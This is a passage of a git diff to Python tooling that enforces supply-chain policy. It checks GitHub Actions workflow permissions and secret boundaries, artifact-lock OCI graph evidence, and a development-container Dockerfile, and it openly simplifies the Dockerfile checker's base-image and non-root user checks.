_merged_issue_boundary(triggers: object, job: Mapping[str, Any]) -> bool: + """Allow issue finalization after merge or an explicit maintainer dispatch.""" + + events = as_mapping(triggers) + return bool( + "pull_request" in events + and set(events) <= {"pull_request", "workflow_dispatch"} + and as_mapping(events["pull_request"]).get("types") == ["closed"] + and _condition(job.get("if")) + == "github.event_name == 'workflow_dispatch' || github.event.pull_request.merged == true" + ) + + +def _permission_failures( + path: str, + permissions: object, + *, + untrusted: bool, + merged_issue_boundary: bool = False, +) -> list[PolicyFailure]: + failures = [] + if not isinstance(permissions, Mapping) or any( + level not in {"read", "write", "none"} for level in as_mapping(permissions).values() + ): + failures.append( + failure( + "tooling-action-permissions", + "job permissions must be explicit and scoped", + path, + ) + ) + elif untrusted and any( + level == "write" and not (merged_issue_boundary and scope == "issues") for scope, level in permissions.items() + ): + failures.append( + failure( + "tooling-action-permissions", + "PR jobs cannot hold publishing permissions", + path, + ) + ) + return failures + + +def _credential_failures( + path: str, + name: str, job: Mapping[str, Any], -) -> tuple[str, list[tuple[str, dict[str, object]]], bool]: - """Retain the private runner-expansion test seam.""" + workflow: Mapping[str, Any], + workflows: Mapping[str, Any], + *, + untrusted: bool, +) -> list[PolicyFailure]: + failures = [] + workflow_secrets = _secret_expressions(workflow.get("env")) + exposed = workflow_secrets or (_secret_expressions(job) and not _sonar_boundary(path, name, job, workflows)) + if untrusted and exposed: + failures.append( + failure( + "tooling-action-credentials", + "PR job exposes a credential outside its reviewed boundary", + path, + ) + ) + if job.get("secrets") == "inherit": + failures.append( + failure( + "tooling-action-credentials", + "reusable workflows must name supplied secrets", + path, + ) + ) + return failures + + +def _container_pin_failures(path: str, container: object) -> list[PolicyFailure]: + if container is None: + return [] + image = container if isinstance(container, str) else as_mapping(container).get("image", "") + if not isinstance(image, str) or not _IMAGE_PIN.fullmatch(image): + return [failure("tooling-action-pin", "container image must use a digest", path)] + return [] + + +def _job_input_failures(path: str, job: Mapping[str, Any], workflows: Mapping[str, Any]) -> list[PolicyFailure]: + failures = _pin_failures(path, job, workflows) + uses = job.get("uses") + if isinstance(uses, str) and uses.startswith("./"): + if _target_contract_invalid(as_mapping(workflows.get(uses[2:])), job): + failures.append( + failure( + "tooling-reusable-workflow", + "reusable call differs from its declared contract", + path, + ) + ) + for step in as_list(job.get("steps")): + failures.extend(_pin_failures(path, as_mapping(step), workflows)) + for container in [job.get("container"), *as_mapping(job.get("services")).values()]: + failures.extend(_container_pin_failures(path, container)) + return failures - return runner_profiles(job, product_values=product) +def action_failures( + repo_root: Path, + documents: Mapping[str, dict[str, Any]], + tracked_paths: Sequence[str], +) -> list[PolicyFailure]: + """Check pins and credential boundaries directly, without workflow inventory.""" -__all__ = ("action_failures",) + del documents + workflows, failures = workflow_documents(repo_root, tracked_paths) + for path, workflow in workflows.items(): + triggers = workflow.get("on", workflow.get(True, {})) + events = set(triggers) if isinstance(triggers, (Mapping, list)) else {triggers} + untrusted = bool(events & {"pull_request", "pull_request_target", "workflow_call"}) + if not isinstance(workflow.get("permissions"), Mapping): + failures.append( + failure( + "tooling-action-permissions", + "workflow must declare scoped permissions", + path, + ) + ) + for name, value in as_mapping(workflow.get("jobs")).items(): + job = as_mapping(value) + permissions = job.get("permissions", workflow.get("permissions")) + protected = ( + "pull_request_target" not in events and _condition(job.get("if")) == "github.ref == 'refs/heads/main'" + ) + failures.extend( + _permission_failures( + path, + permissions, + untrusted=untrusted and not protected, + merged_issue_boundary=_merged_issue_boundary(triggers, job), + ) + ) + failures.extend( + _credential_failures( + path, + str(name), + job, + workflow, + workflows, + untrusted=untrusted and not protected, + ) + ) + failures.extend(_job_input_failures(path, job, workflows)) + return failures diff --git a/tools/tooling_artifact_policy_artifacts.py b/tools/tooling_artifact_policy_artifacts.py index ffaf2ff84..a1601edd3 100644 --- a/tools/tooling_artifact_policy_artifacts.py +++ b/tools/tooling_artifact_policy_artifacts.py @@ -4,6 +4,7 @@ import hashlib from collections.abc import Mapping +from dataclasses import dataclass from pathlib import Path from typing import Any @@ -25,6 +26,12 @@ string_set, walk_forbidden_keys, ) +from tools.tooling_artifact_policy_oci import ( + GRAPH_EVIDENCE, + artifact_graph_failures, + declares_graph, + platform_graph_failures, +) from tools.verified_tree_archive import MAX_TREE_EXPANDED_BYTES, MAX_TREE_MEMBERS from tools.verified_tree_validation import MAX_TREE_RAW_BYTES @@ -133,7 +140,7 @@ def _artifact_metadata_failures(artifact_id: str, artifact: Mapping[str, Any]) - return failures -def _artifact_policy_failures( +def _artifact_policy_failures( # NOSONAR -- the class-to-evidence map is deliberately explicit. artifact_id: str, artifact: Mapping[str, Any], policies: Mapping[str, Mapping[str, Any]], @@ -155,6 +162,8 @@ def _artifact_policy_failures( elif artifact_class == "oci-image": subjects = {"oci-image"} evidence = {"oci-index-digest", "reviewed-consumer-reference"} + if declares_graph(artifact): + evidence.add(GRAPH_EVIDENCE) if as_mapping(artifact.get("authenticity")).get("status") == "absent-reviewed": evidence.add("absent-signature-review") return policy_join_failures( @@ -402,21 +411,6 @@ def _host_profile_failures( # NOSONAR -- explicit branches identify each policy ) -> list[PolicyFailure]: failures: list[PolicyFailure] = [] hosts: dict[str, Mapping[str, Any]] = {} - evidence: dict[str, Mapping[str, Any]] = {} - for value in as_list(document.get("qualification_records")): - record = as_mapping(value) - evidence_id = record.get("evidence_id") - if not isinstance(evidence_id, str): - continue - if evidence_id in evidence: - failures.append( - failure( - "tooling-host-evidence-duplicate", - "duplicate host qualification record", - PROFILES_PATH, - ) - ) - evidence[evidence_id] = record for value in as_list(document.get("host_profiles")): host = as_mapping(value) host_id = host.get("host_profile_id") @@ -433,7 +427,7 @@ def _host_profile_failures( # NOSONAR -- explicit branches identify each policy hosts[host_id] = host payload_ids = string_set(host.get("bootstrap_payload_ids")) missing_artifacts = payload_ids - artifacts.keys() - missing_artifacts.update(string_set(as_mapping(host.get("offline_kit")).get("artifact_ids")) - artifacts.keys()) + if missing_artifacts: failures.append( failure( @@ -508,50 +502,14 @@ def _host_profile_failures( # NOSONAR -- explicit branches identify each policy ) ) required_closure = PROOF_HOST_NATIVE_CLOSURE.get(str(host.get("native_family"))) - closure_packages = string_set(as_mapping(host.get("offline_kit")).get("host_prerequisite_package_ids")) + closure_packages = string_set(host.get("host_prerequisite_package_ids")) if proof_support == "linux-x86_64-required" and ( required_closure is None or required_closure - closure_packages ): failures.append( failure( "tooling-host-proof-closure", - f"{host_id} offline kit omits the Bubblewrap, fontconfig, font, or locale providers", - PROFILES_PATH, - ) - ) - for evidence_id in string_set(host.get("qualification_record_ids")): - record = evidence.get(evidence_id) - if record is None or record.get("host_profile_id") != host_id: - failures.append( - failure( - "tooling-host-evidence-reference", - f"{host_id} references mismatched evidence", - PROFILES_PATH, - ) - ) - for evidence_id, record in evidence.items(): - if record.get("host_profile_id") not in hosts: - failures.append( - failure( - "tooling-host-evidence-host", - f"{evidence_id} names an unknown host profile", - PROFILES_PATH, - ) - ) - continue - host = hosts[str(record["host_profile_id"])] - if ( - str(host.get("base_image_identity", "")).startswith("github-hosted-runner:") - and record.get("outcome") == "passed" - and ( - not str(record.get("base_image_identity", "")).startswith("github-runner:") - or not str(record.get("native_repository_identity", "")).startswith("github-runner-package-set:") - ) - ): - failures.append( - failure( - "tooling-host-evidence-observation", - f"{evidence_id} passed without exact observed hosted-runner identities", + f"{host_id} native prerequisites omit the Bubblewrap, fontconfig, font, or locale providers", PROFILES_PATH, ) ) @@ -559,12 +517,13 @@ def _host_profile_failures( # NOSONAR -- explicit branches identify each policy return failures -def _platform_failures( +def _platform_failures( # NOSONAR -- each platform join is an independently reportable policy failure. repo_root: Path, artifact_id: str, artifact: Mapping[str, Any], platform: Mapping[str, Any], profiles: Mapping[str, Mapping[str, Any]], + policies: Mapping[str, Mapping[str, Any]], denied_digests: set[str], ) -> list[PolicyFailure]: failures = _source_url_failures(artifact_id, platform) @@ -601,6 +560,7 @@ def _platform_failures( denied_digests, ) ) + failures.extend(platform_graph_failures(artifact_id, artifact, platform, policies, denied_digests)) return failures @@ -660,16 +620,24 @@ def visit(artifact_id: str) -> bool: return any(visit(artifact_id) for artifact_id in sorted(known_artifacts)) +@dataclass +class _LockScan: + """Authority documents and the cross-artifact state a lock walk accumulates.""" + + profiles: Mapping[str, Mapping[str, Any]] + policies: Mapping[str, Mapping[str, Any]] + denied_digests: set[str] + identities: set[tuple[str, str, str]] + dependency_graph: dict[str, set[str]] + + def _artifact_platform_failures( repo_root: Path, artifact_id: str, artifact: Mapping[str, Any], - profiles: Mapping[str, Mapping[str, Any]], - denied_digests: set[str], - identities: set[tuple[str, str, str]], - dependency_graph: dict[str, set[str]], + scan: _LockScan, ) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] + failures: list[PolicyFailure] = artifact_graph_failures(artifact_id, as_list(artifact.get("platforms"))) for platform_value in as_list(artifact.get("platforms")): platform = as_mapping(platform_value) platform_id = platform.get("platform_id") @@ -681,7 +649,7 @@ def _artifact_platform_failures( normalize_platform_id(platform_id), distribution_id if isinstance(distribution_id, str) else "", ) - if identity in identities: + if identity in scan.identities: failures.append( failure( "tooling-artifact-identity-duplicate", @@ -689,9 +657,19 @@ def _artifact_platform_failures( ARTIFACT_LOCK_PATH, ) ) - identities.add(identity) - dependency_graph[artifact_id].update(string_set(platform.get("dependencies"))) - failures.extend(_platform_failures(repo_root, artifact_id, artifact, platform, profiles, denied_digests)) + scan.identities.add(identity) + scan.dependency_graph[artifact_id].update(string_set(platform.get("dependencies"))) + failures.extend( + _platform_failures( + repo_root, + artifact_id, + artifact, + platform, + scan.profiles, + scan.policies, + scan.denied_digests, + ) + ) return failures @@ -737,10 +715,7 @@ def artifact_failures(repo_root: Path, documents: Mapping[str, dict[str, Any]]) repo_root, artifact_id, artifact, - profiles, - denied_digests, - identities, - dependency_graph, + _LockScan(profiles, policies, denied_digests, identities, dependency_graph), ) ) known_artifacts = set(artifact_ids) diff --git a/tools/tooling_artifact_policy_common.py b/tools/tooling_artifact_policy_common.py index 763900351..1c931e6c3 100644 --- a/tools/tooling_artifact_policy_common.py +++ b/tools/tooling_artifact_policy_common.py @@ -16,17 +16,13 @@ ARTIFACT_LOCK_PATH = f"{TOOLING_ROOT}/artifacts.lock.json" PROFILES_PATH = f"{TOOLING_ROOT}/profiles/development-profiles.json" ADMISSION_POLICY_PATH = f"{TOOLING_ROOT}/admission-policy.json" -ACTIONS_POLICY_PATH = f"{TOOLING_ROOT}/actions-policy.json" SELECTOR_BINDINGS_PATH = f"{TOOLING_ROOT}/selector-bindings.json" -INVENTORY_COVERAGE_PATH = f"{TOOLING_ROOT}/inventory-coverage.json" POLICY_SCHEMAS = { ARTIFACT_LOCK_PATH: f"{TOOLING_ROOT}/schemas/artifact-lock.schema.json", PROFILES_PATH: f"{TOOLING_ROOT}/schemas/profiles.schema.json", ADMISSION_POLICY_PATH: f"{TOOLING_ROOT}/schemas/admission-policy.schema.json", - ACTIONS_POLICY_PATH: f"{TOOLING_ROOT}/schemas/actions-policy.schema.json", SELECTOR_BINDINGS_PATH: f"{TOOLING_ROOT}/schemas/selector-bindings.schema.json", - INVENTORY_COVERAGE_PATH: f"{TOOLING_ROOT}/schemas/inventory-coverage.schema.json", } MAX_JSON_BYTES = 2 * 1024 * 1024 MAX_SCANNED_FILE_BYTES = 2 * 1024 * 1024 @@ -141,6 +137,34 @@ def load_documents( return documents, failures +def read_tooling_document(repo_root: Path, path: str) -> dict[str, Any]: + """Read one bounded, duplicate-free authority without following symlinks.""" + + try: + if not is_regular_repo_file(repo_root, path): + raise ValueError + return load_bounded_json_object(repo_root, path, max_bytes=MAX_JSON_BYTES) + except (OSError, ValueError, RecursionError): + raise ValueError("tooling authority is missing, unsafe, or malformed") from None + + +def validate_tooling_record( + repo_root: Path, + document: Mapping[str, Any], + policy_path: str, + *, + definition: str | None = None, +) -> None: + """Reuse an authority's schema for a document or a selected record.""" + + schema_path = POLICY_SCHEMAS[policy_path] + schema = read_tooling_document(repo_root, schema_path) + if definition is not None: + schema = {"$ref": f"#/$defs/{definition}", "$defs": schema.get("$defs", {})} + if _schema_failures(document, schema, policy_path, schema_path): + raise ValueError("selected tooling authority has an invalid shape") + + def _schema_failures( document: Mapping[str, Any], schema: Mapping[str, Any], @@ -161,8 +185,7 @@ def _schema_failures( return [ failure( "tooling-schema", - "schema validation failed at " - f"{'.'.join(str(part) for part in error.absolute_path) or ''}: {error.message}", + f"schema validation failed at {'.'.join(str(part) for part in error.absolute_path) or ''}", policy_path, ) for error in sorted(validator.iter_errors(document), key=lambda item: list(item.absolute_path)) diff --git a/tools/tooling_artifact_policy_container.py b/tools/tooling_artifact_policy_container.py index 99d05302d..72401fbbf 100644 --- a/tools/tooling_artifact_policy_container.py +++ b/tools/tooling_artifact_policy_container.py @@ -1,24 +1,14 @@ -"""Development container image definition policy. +"""Focused base identity and privilege checks for the native development image. -The image configuration is a consumer of the reviewed development artifact -policy, never a second authority. Every base digest, package snapshot, package -selection, platform, and account below is joined from the container host -profile and the artifact lock; a literal in the Dockerfile that disagrees with -that join fails closed here, before any build or acquisition. The dev-container -entry point is checked by `tools.tooling_artifact_policy_devcontainer`. - -The Dockerfile is a closed shape: only the reviewed instructions, environment -names, and builder-stage mounts are admitted, so an unanticipated build -argument, copied input, or host exposure is refused rather than overlooked. -This module owns the small fixed mapping from policy identifiers to container -directives; it never evaluates policy data as shell input and never acquires. +Docker and dev-container clients interpret their native configuration. This +checker does not model package commands, shell syntax, account creation, editor +settings, or native package repository snapshots. """ from __future__ import annotations import re from collections.abc import Mapping, Sequence -from dataclasses import dataclass, field from pathlib import Path from typing import Any @@ -31,359 +21,20 @@ failure, normalize_platform_id, safe_text, - string_set, ) from tools.tooling_artifact_policy_devcontainer import ( - DEVCONTAINER_CONFIG_PATH, devcontainer_failures, load_devcontainer_config, ) CONTAINER_DOCKERFILE_PATH = ".devcontainer/Dockerfile" - -RULE_PROFILE = "tooling-container-profile" -RULE_BASE = "tooling-container-base-drift" -RULE_SNAPSHOT = "tooling-container-snapshot-drift" -RULE_PACKAGES = "tooling-container-package-drift" -RULE_USER = "tooling-container-user" -RULE_BUILD = "tooling-container-unsafe-build" -RULE_PLATFORM = "tooling-container-platform" - -# Transport trust a non-final stage may take from the base image's own signed -# archive. It only authenticates TLS to the snapshot; the final stage installs -# every package, including these, from the reviewed snapshot. -TRANSPORT_TRUST_PACKAGES = frozenset({"ca-certificates"}) -_INSTRUCTIONS = frozenset({"FROM", "RUN", "ENV", "USER"}) -_ENVIRONMENT_NAMES = frozenset( - { - "UV_CACHE_DIR", - "XDG_CACHE_HOME", - "UV_LINK_MODE", - "UV_PYTHON_DOWNLOADS", - "UV_PYTHON", - "PATH", - "EDITOR", - "LANG", - "LC_ALL", - } -) -# uv must never download an interpreter the lock did not admit. -_REQUIRED_ENVIRONMENT = {"UV_PYTHON_DOWNLOADS": "never"} -# Canonical platform to the OCI platform every stage must pin. Linux x86_64 is the -# only platform with an immutable Ubuntu package snapshot to build from. -_OCI_PLATFORMS = {"linux-x86_64": "linux/amd64"} - _DIGEST_RE = re.compile(r"^[0-9a-f]{64}$") -# A RUN body is a `;`-separated list of plain commands. Any quoting, escaping, -# expansion, substitution, redirection, grouping, globbing, pipeline, or -# background job could hide an unreviewed command from this parser, so such -# syntax is refused outright rather than interpreted. -_SHELL_SYNTAX_RE = re.compile(r"[\\`'\"$<>(){}|&*?\[\]~#!]") -_APT_OPTION_RE = re.compile(r"^(?:APT::Snapshot=\d{8}T\d{6}Z|Acquire::https::CAInfo=/run/[a-z0-9.-]+)$", re.ASCII) -_PACKAGE_RE = re.compile(r"^[a-z0-9][a-z0-9.+-]*$") -_SNAPSHOT_OPTION_RE = re.compile(r"^APT::Snapshot=(?P\S+)$") -_NAME_RE = r"[a-z_][a-z0-9_-]{0,31}" -_GROUPADD_RE = re.compile(rf"^--gid \d+ {_NAME_RE}$", re.ASCII) -_USERADD_RE = re.compile(rf"^--uid \d+ --gid \d+ --create-home --shell /bin/bash {_NAME_RE}$", re.ASCII) -_INSTALL_RE = re.compile(rf"^-d -o (?P{_NAME_RE}) -g (?P=owner)(?: /home/(?P=owner)(?:/[a-z0-9._-]+)*)+$") - - -@dataclass -class _Stage: - reference: str - platform: str | None - alias: str | None - runs: list[tuple[list[str], str]] = field(default_factory=list) - users: list[str] = field(default_factory=list) - - -@dataclass(frozen=True) -class _Expected: - reference: str - snapshot: str - packages: frozenset[str] - user: str - uid: int - gid: int - platform: str - - -def _image_failure(rule: str, message: str) -> PolicyFailure: - return failure(rule, message, CONTAINER_DOCKERFILE_PATH) - - -def _instructions(text: str) -> list[tuple[str, str]]: - """Return (keyword, arguments) pairs with comments dropped and continuations joined.""" - - logical = "\n".join(line for line in text.splitlines() if not line.lstrip().startswith("#")) - logical = re.sub(r"\\\n\s*", " ", logical) - parsed: list[tuple[str, str]] = [] - for line in logical.splitlines(): - keyword, _, arguments = line.strip().partition(" ") - if keyword: - parsed.append((keyword.upper(), arguments.strip())) - return parsed - - -def _stage_from(arguments: str) -> _Stage: - """Parse `FROM [--platform=] [AS ]`; any other shape keeps its raw text.""" - - tokens = arguments.split() - platform = tokens.pop(0).removeprefix("--platform=") if tokens and tokens[0].startswith("--platform=") else None - alias = tokens[2] if len(tokens) == 3 and tokens[1].upper() == "AS" else None - return _Stage(tokens[0] if len(tokens) in {1, 3} else arguments, platform, alias) - - -def _stages(instructions: Sequence[tuple[str, str]]) -> tuple[list[_Stage], list[PolicyFailure]]: - stages: list[_Stage] = [] - failures: list[PolicyFailure] = [] - for keyword, arguments in instructions: - if keyword not in _INSTRUCTIONS: - failures.append(_image_failure(RULE_BUILD, f"image uses unreviewed instruction {keyword}")) - elif keyword == "FROM": - stages.append(_stage_from(arguments)) - elif not stages: - failures.append(_image_failure(RULE_BUILD, "image instruction precedes its base image")) - elif keyword == "RUN": - stages[-1].runs.append(_run_flags(arguments)) - elif keyword == "USER": - stages[-1].users.append(arguments) - return stages, failures - - -def _run_flags(arguments: str) -> tuple[list[str], str]: - tokens = arguments.split(" ") - flags = [] - while tokens and tokens[0].startswith("--"): - flags.append(tokens.pop(0)) - return flags, " ".join(tokens).strip() - - -def _environment_failures(instructions: Sequence[tuple[str, str]]) -> list[PolicyFailure]: - environment: dict[str, str] = {} - well_formed = True - for keyword, arguments in instructions: - if keyword != "ENV": - continue - tokens = arguments.split() - well_formed = well_formed and bool(tokens) and all("=" in token for token in tokens) - environment.update(token.split("=", maxsplit=1) for token in tokens if "=" in token) - failures = [] - if not well_formed or not set(environment) <= _ENVIRONMENT_NAMES: - failures.append(_image_failure(RULE_BUILD, "image declares an unreviewed environment input")) - if any(environment.get(name) != value for name, value in _REQUIRED_ENVIRONMENT.items()): - failures.append(_image_failure(RULE_BUILD, "image must forbid uv from downloading unreviewed interpreters")) - return failures - - -def _plain_commands(body: str) -> list[list[str]] | None: - """Return a RUN body's commands as argv tokens, or None if it uses any other shell syntax.""" - - text = " ".join(body.split()) - if _SHELL_SYNTAX_RE.search(text): - return None - return [segment.split() for segment in text.split(";") if segment.split()] - - -def _apt_operands(arguments: Sequence[str]) -> list[str] | None: - """Return apt's operation and package operands, or None if any `-o` option is unreviewed.""" - - operands: list[str] = [] - iterator = iter(arguments) - for argument in iterator: - if argument == "-o" and _APT_OPTION_RE.fullmatch(next(iterator, "")) is None: - return None - if argument not in {"-o", "-y", "--no-install-recommends"}: - operands.append(argument) - return operands - - -def _apt_arguments_admitted(arguments: Sequence[str]) -> bool: - operation, *packages = _apt_operands(arguments) or [""] - return ( - operation in {"update", "install", "clean"} - and (operation == "install" or not packages) - and all(_PACKAGE_RE.fullmatch(package) for package in packages) - ) - - -def _command_admitted(tokens: Sequence[str]) -> bool: - """Admit only the reviewed command forms; everything else, including any acquisition, is refused.""" - - executable, arguments = tokens[0], list(tokens[1:]) - joined = " ".join(arguments) - forms = { - "set": lambda: arguments == ["-eu"], - "export": lambda: arguments == ["DEBIAN_FRONTEND=noninteractive"], - "apt-get": lambda: _apt_arguments_admitted(arguments), - "find": lambda: arguments == ["/var/lib/apt/lists", "-mindepth", "1", "-delete"], - # The pinned base ships a stock account at the development uid. - "userdel": lambda: arguments == ["--remove", "ubuntu"], - "groupadd": lambda: _GROUPADD_RE.fullmatch(joined) is not None, - "useradd": lambda: _USERADD_RE.fullmatch(joined) is not None, - "install": lambda: _INSTALL_RE.fullmatch(joined) is not None, - } - form = forms.get(executable) - return form is not None and form() - - -def _apt_options(tokens: Sequence[str]) -> tuple[str | None, str, set[str]]: - """Return an apt command's snapshot option, its operation, and its package operands.""" - - snapshot: str | None = None - operation = "" - packages: set[str] = set() - iterator = iter(tokens[1:]) - for argument in iterator: - if argument == "-o": - option = next(iterator, "") - if (match := _SNAPSHOT_OPTION_RE.fullmatch(option)) is not None: - snapshot = match.group("snapshot") - elif argument.startswith("-"): - continue - elif not operation: - operation = argument - else: - packages.add(argument) - return snapshot, operation, packages - - -def _apt_installs(stage: _Stage) -> list[tuple[str | None, set[str]]]: - """Return the snapshot and packages of every apt command in a stage that reaches a repository.""" - - return [ - (snapshot, packages) - for _flags, body in stage.runs - for tokens in _plain_commands(body) or [] - if tokens[0] == "apt-get" - for snapshot, operation, packages in [_apt_options(tokens)] - if operation != "clean" - ] - - -def _apt_install_failures( - snapshot: str | None, packages: set[str], expected: _Expected, *, final: bool -) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] - unreviewed_builder_packages = not final and bool(packages - TRANSPORT_TRUST_PACKAGES) - transport_bootstrap = not final and snapshot is None and not unreviewed_builder_packages - if snapshot != expected.snapshot and not transport_bootstrap: - message = ( - "image package source differs from the reviewed repository snapshot" - if snapshot is not None - else "image installs packages without the reviewed repository snapshot" - ) - failures.append(_image_failure(RULE_SNAPSHOT, message)) - if unreviewed_builder_packages: - failures.append(_image_failure(RULE_PACKAGES, "image builder stage installs an unreviewed package")) - return failures - - -def _stage_package_failures(stage: _Stage, expected: _Expected, *, final: bool) -> tuple[set[str], list[PolicyFailure]]: - installed: set[str] = set() - failures: list[PolicyFailure] = [] - for snapshot, packages in _apt_installs(stage): - failures.extend(_apt_install_failures(snapshot, packages, expected, final=final)) - installed |= packages - return installed, failures - - -def _base_failures(stages: Sequence[_Stage], expected: _Expected) -> list[PolicyFailure]: - if not stages: - return [_image_failure(RULE_BASE, "image definition declares no base image")] - failures = [ - _image_failure(RULE_BASE, "image base reference is not the reviewed digest-pinned platform manifest") - for stage in stages - if stage.reference != expected.reference - ] - failures.extend( - _image_failure(RULE_PLATFORM, "every image stage must pin the qualified container platform") - for stage in stages - if stage.platform != expected.platform - ) - return failures - - -def _mount_flag_admitted(flag: str, builders: set[str]) -> bool: - name, _, value = flag.partition("=") - options = {key: option for key, _, option in (part.partition("=") for part in value.split(","))} - return ( - name == "--mount" - and options.get("type") == "bind" - and options.get("from") in builders - and options.get("target", "").startswith("/run/") - and set(options) <= {"type", "from", "source", "target"} - ) - - -def _mount_failures(stages: Sequence[_Stage]) -> list[PolicyFailure]: - """Admit only read-only bind mounts from an earlier builder stage.""" - - return [ - _image_failure(RULE_BUILD, "image build step requests an unreviewed capability") - for index, stage in enumerate(stages) - for flags, _body in stage.runs - for flag in flags - if not _mount_flag_admitted(flag, {earlier.alias for earlier in stages[:index] if earlier.alias}) - ] - - -def _command_failures(stages: Sequence[_Stage]) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] - for stage in stages: - for _flags, body in stage.runs: - commands = _plain_commands(body) - if commands is None or not commands or not all(_command_admitted(tokens) for tokens in commands): - failures.append( - _image_failure(RULE_BUILD, "image build step runs a command outside the reviewed forms") - ) - return failures - - -def _account_failures(stage: _Stage, expected: _Expected) -> list[PolicyFailure]: - accounts: set[tuple[str, str, str]] = set() - for _flags, body in stage.runs: - for tokens in _plain_commands(body) or []: - if tokens[0] not in {"useradd", "groupadd"}: - continue - # Each option is read from the token that follows it; the account - # name is the final operand. - options = dict(zip(tokens[1:-1], tokens[2:], strict=True)) - accounts.add((tokens[0], options.get("--uid", ""), f"{options.get('--gid', '')}:{tokens[-1]}")) - expected_accounts = { - ("groupadd", "", f"{expected.gid}:{expected.user}"), - ("useradd", str(expected.uid), f"{expected.gid}:{expected.user}"), - } - if not stage.users or stage.users[-1] != expected.user or accounts != expected_accounts: - return [_image_failure(RULE_USER, "image must end as the reviewed non-root development user")] - return [] - - -def _dockerfile_failures(text: str, expected: _Expected) -> list[PolicyFailure]: - instructions = _instructions(text) - stages, failures = _stages(instructions) - failures.extend(_environment_failures(instructions)) - failures.extend(_base_failures(stages, expected)) - if not stages: - return failures - installed: set[str] = set() - for index, stage in enumerate(stages): - final = index == len(stages) - 1 - packages, package_failures = _stage_package_failures(stage, expected, final=final) - failures.extend(package_failures) - if final: - installed = packages - if installed != expected.packages: - failures.append( - _image_failure(RULE_PACKAGES, "image native package selection differs from the reviewed container profiles") - ) - failures.extend(_mount_failures(stages)) - failures.extend(_command_failures(stages)) - failures.extend(_account_failures(stages[-1], expected)) - return failures +_OCI_PLATFORMS = {"linux-x86_64": "linux/amd64"} -def _container_host_profiles(documents: Mapping[str, dict[str, Any]]) -> list[Mapping[str, Any]]: +def _container_host_profiles( + documents: Mapping[str, dict[str, Any]], +) -> list[Mapping[str, Any]]: return [ host for host in as_list((documents.get(PROFILES_PATH) or {}).get("host_profiles")) @@ -412,67 +63,94 @@ def _locked_platform_manifest( return None -def _expected(documents: Mapping[str, dict[str, Any]], host: Mapping[str, Any]) -> _Expected | None: - """Join the container host profile to its locked platform manifest, or return None.""" - - platform_id = normalize_platform_id(str(host.get("platform_id", ""))) - user = as_mapping(host.get("development_user")) - locked = _locked_platform_manifest(documents, host.get("base_image_artifact_ref"), platform_id) - admitted = ( - locked is not None - # The human-readable identity must name the same locked repository. - and str(host.get("base_image_identity", "")).startswith(f"{locked[0]}:") - and isinstance(host.get("native_repository_snapshot"), str) - and isinstance(user.get("name"), str) - and all(isinstance(user.get(key), int) for key in ("uid", "gid")) - and platform_id in _OCI_PLATFORMS - ) - if not admitted or locked is None: - return None - packages = string_set(as_mapping(host.get("offline_kit")).get("host_prerequisite_package_ids")) - return _Expected( - reference=f"{locked[0]}@sha256:{locked[1]}", - snapshot=str(host["native_repository_snapshot"]), - packages=frozenset(packages | string_set(host.get("development_package_ids"))), - user=str(user["name"]), - uid=int(user["uid"]), - gid=int(user["gid"]), - platform=_OCI_PLATFORMS[platform_id], - ) - - def container_failures( repo_root: Path, documents: Mapping[str, dict[str, Any]], tracked_paths: Sequence[str] | None = None, ) -> list[PolicyFailure]: - """Return deterministic container-configuration failures without building.""" - - # The container artifacts are at fixed reviewed paths. + """Check the locked image projection and explicit non-root boundary.""" del tracked_paths hosts = _container_host_profiles(documents) dockerfile = safe_text(repo_root, CONTAINER_DOCKERFILE_PATH) - expected = _expected(documents, hosts[0]) if len(hosts) == 1 else None - failures: list[PolicyFailure] = [] - if not hosts: - if dockerfile is not None or (repo_root / DEVCONTAINER_CONFIG_PATH).exists(): - failures.append(_image_failure(RULE_PROFILE, "container configuration has no reviewed host profile")) - elif expected is None: - failures.append( + if len(hosts) != 1 or dockerfile is None: + failures = [ + failure( + "tooling-container-profile", + "one reviewed container profile and Dockerfile are required", + PROFILES_PATH, + ) + ] + return [] if not hosts and dockerfile is None else failures + host = hosts[0] + platform_id = normalize_platform_id(str(host.get("platform_id", ""))) + locked = _locked_platform_manifest(documents, host.get("base_image_artifact_ref"), platform_id) + if ( + locked is None + or platform_id not in _OCI_PLATFORMS + or not str(host.get("base_image_identity", "")).startswith(locked[0] + ":") + ): + return [ failure( - RULE_PROFILE, - "exactly one container host profile must bind a qualified platform manifest in the lock, " - "a package snapshot, and a development user", + "tooling-container-profile", + "container base must bind a supported locked platform", PROFILES_PATH, ) + ] + return [ + *_container_base_failures(dockerfile, platform_id, locked), + *_container_user_failures(repo_root, dockerfile), + ] + + +def _dockerfile_instructions(dockerfile: str, instruction: str) -> list[list[str]]: + return [line.split() for line in dockerfile.splitlines() if line.strip().upper().startswith(instruction + " ")] + + +def _container_base_failures(dockerfile: str, platform_id: str, locked: tuple[str, str]) -> list[PolicyFailure]: + failures = [] + stages = _dockerfile_instructions(dockerfile, "FROM") + reference = f"{locked[0]}@sha256:{locked[1]}" + if not stages or any(len(tokens) < 3 or tokens[2] != reference for tokens in stages): + failures.append( + failure( + "tooling-container-base-drift", + "every base must use the locked digest", + CONTAINER_DOCKERFILE_PATH, + ) + ) + if any(len(tokens) < 2 or tokens[1] != "--platform=" + _OCI_PLATFORMS[platform_id] for tokens in stages): + failures.append( + failure( + "tooling-container-platform", + "base platform must match the selected manifest", + CONTAINER_DOCKERFILE_PATH, + ) + ) + return failures + + +def _container_user_failures(repo_root: Path, dockerfile: str) -> list[PolicyFailure]: + document, config_failure = load_devcontainer_config(repo_root) + if document is None: + return [config_failure] + failures = [] + user = document.get("containerUser") + users = _dockerfile_instructions(dockerfile, "USER") + if not isinstance(user, str) or user in {"", "root", "0"} or not users or users[-1][1:] != [user]: + failures.append( + failure( + "tooling-container-user", + "the final image must run as the non-root development user", + CONTAINER_DOCKERFILE_PATH, + ) + ) + if "UV_PYTHON_DOWNLOADS=never" not in dockerfile: + failures.append( + failure( + "tooling-container-unsafe-build", + "uv must use the verified interpreter", + CONTAINER_DOCKERFILE_PATH, + ) ) - elif dockerfile is None: - failures.append(_image_failure(RULE_PROFILE, "the reviewed container host profile has no image definition")) - else: - failures.extend(_dockerfile_failures(dockerfile, expected)) - document, config_failure = load_devcontainer_config(repo_root) - if document is None: - failures.append(config_failure or failure(RULE_PROFILE, "dev-container configuration is unavailable")) - else: - failures.extend(devcontainer_failures(document, expected.user)) + 